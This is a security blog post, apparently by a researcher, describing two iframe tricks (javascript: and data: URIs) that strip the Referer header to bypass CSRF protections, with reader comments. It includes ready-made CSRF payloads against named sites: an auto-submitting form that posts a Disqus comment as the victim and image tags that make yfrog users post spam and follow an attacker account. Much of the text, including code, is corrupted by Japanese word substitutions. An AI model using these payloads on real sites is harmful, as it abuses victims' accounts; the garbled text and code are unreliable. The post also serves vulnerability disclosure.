(関係のある: CSRF afterparty & MUST READ 支配するs )
If you read owasp you should know that Referer has never been a good 保護. If 使用者 服従させる／提出するs form from https:// URL than referer header is omitted 予定 to 安全 推論する／理由s - it's known fact. But having https page is a big 取引，協定 for hacker - very uncomfortable for 大規模な attacks(速く banned/報告（する）／憶測d, expensive 証明書s).
I 設立する a way(in fact two ways) to omit this header from any page - it is the trick with about:blank.
theory:
- Referer is very popular header for filtering 外部の(hot linked <img>s) requests on image hostings.
Using the trick 許すs you to embed any 外部の 資源 not 存在 脅すd to be banned or noticed 予定 to Referer header. PROTIP: use modern "seamless" せいにする in iframe in embed iframes seamlessly :D - Referer is omitted in some weird browsers or if 使用者 customizes his （弁護士の）依頼人 this way. It really happens. This is why 認可するing request if referer is empty(I mean not sent) is a good practice(you can google it 1 2). Websites do this because they don't want to lose sort of ~1 パーセント of traffic.
The trick turns 1% -> 100%. 1% can be pwned because it is their problem(omitting referer). If 100% is pwned - it is a 抱擁する vuln. - Origin is a modern 安全な・保証する 代案／選択肢 for Referer - because it 含む／封じ込めるs only domain path(https://domain.com/) and is sent from https pages.
Still not supported by some "browsers"(e.g. IE 8) but anyways, it is kinda 安全な・保証する header to 立証する(CORS 科学（工学）技術 is based on Origin).
TRICK 1
<iframe src="javascript:CODE"></iframe>遂行する／発効させるing any code in 状況 of about:blank(it is default URL for src). CODE is a script that 生成するs(文書.令状) the form and than 服従させる／提出するs it(文書.forms[0].服従させる／提出する())
It sends empty Referer but Origin is still proper(I guess they special-事例／患者d this trick inside of Webkit)
TRICK 2
文書.令状('<iframe src=\'data:text/html,<form method=地位，任命する 活動／戦闘="PATH"></form><script>文書.forms[0].服従させる／提出する()</script>\'></iframe>')Putting HTML code in 状況 of weird about:blank with 議定書 == "data". This trick is cooler because it doesn't 要求する JS and sends POSTs with empty Referer and Origin: null. But I wonder why it 作品 in Webkit?! O_o:
(from http://msdn.microsoft.com/en-us/library/cc848897(v=vs.85).aspx)
For 安全 推論する／理由s, data URIs are 制限するd to downloaded 資源s.
And now for something 完全に different! Showcases!
disqus.com - they 要求する referer equal disqus.com OR empty one. Good example(commenting on に代わって of your account) - 遂行する／発効させる the code to 地位，任命する comment there.文書.令状('<iframe src=\'data:text/html,<form method=地位，任命する 活動／戦闘="http://jwo.disqus.com/thread/the_one_with_html5_videos_using_zencoder_for_videojscom_jwo/post_create/"><input 指名する=message value="Good article, JSON FTW"></form><script>文書.forms[0].服従させる／提出する()</script>\'></iframe>')
yfrog.com - they had an awful CSRF 穴を開ける a month ago. Than I 報告（する）／憶測d it; 3 times; And got no 返答. They 直す／買収する，八百長をするd it by 立証するing referer is equal "yfrog.com"(losing ~1% of 使用者s). Doing 5 minutes brainstorm I 設立する a 削減（する） thing over the new 保護 - they 受託する GET(it is a nice showcase for GET Accessible 活動／戦闘s problem).
In general, all you need is to 地位，任命する on your 塀で囲む (/profile/HACKERACCOUNT) 類似の code:
<img src=/message/地位，任命する.json?message=SPAM_MESSAGE>
<img src=/follow.json?使用者=HACKER_TO_FOLLOW>
Than, just 含む your 用意が出来ている yfrog profile with <iframe src=http://yfrog.com/profile/HACKERACCOUNT></iframe> anywhere - than img-requests will be sent from yfrog.com with yfrog's referer but they are still malicious. Voila :)
UPDATE: http://code.google.com/p/chromium/問題／発行するs/詳細（に述べる）?id=125319
Period. DO not rely on empty referer anyhow. It is 危険な and those tricks are legit. Anyway, it's still pretty useful to use hot-linked images sending empty referer :)@homakov - There really is nothing to 直す／買収する，八百長をする on that 前線. A web app is fundamentally broken if it 信用s the absence of the referer header to 示す a request is not a CSRF. It's an inherently 危険な 仮定／引き受けること.
Thanks for reading.
広大な／多数の／重要な blog thanks check this out too
Reply削除する広大な／多数の／重要な trick with iframe and empty referer!
Reply削除するYou can 挿入する any code into iframe about:blank using でっちあげる，人を罪に陥れるs[0].文書.団体／死体.innerHTML="<a bunch of html>";
Reply削除するSee http://webstersprodigy.逮捕する/2013/02/01/stripping-the-referer-in-a-cross-domain-地位，任命する-request/
is almost same
削除する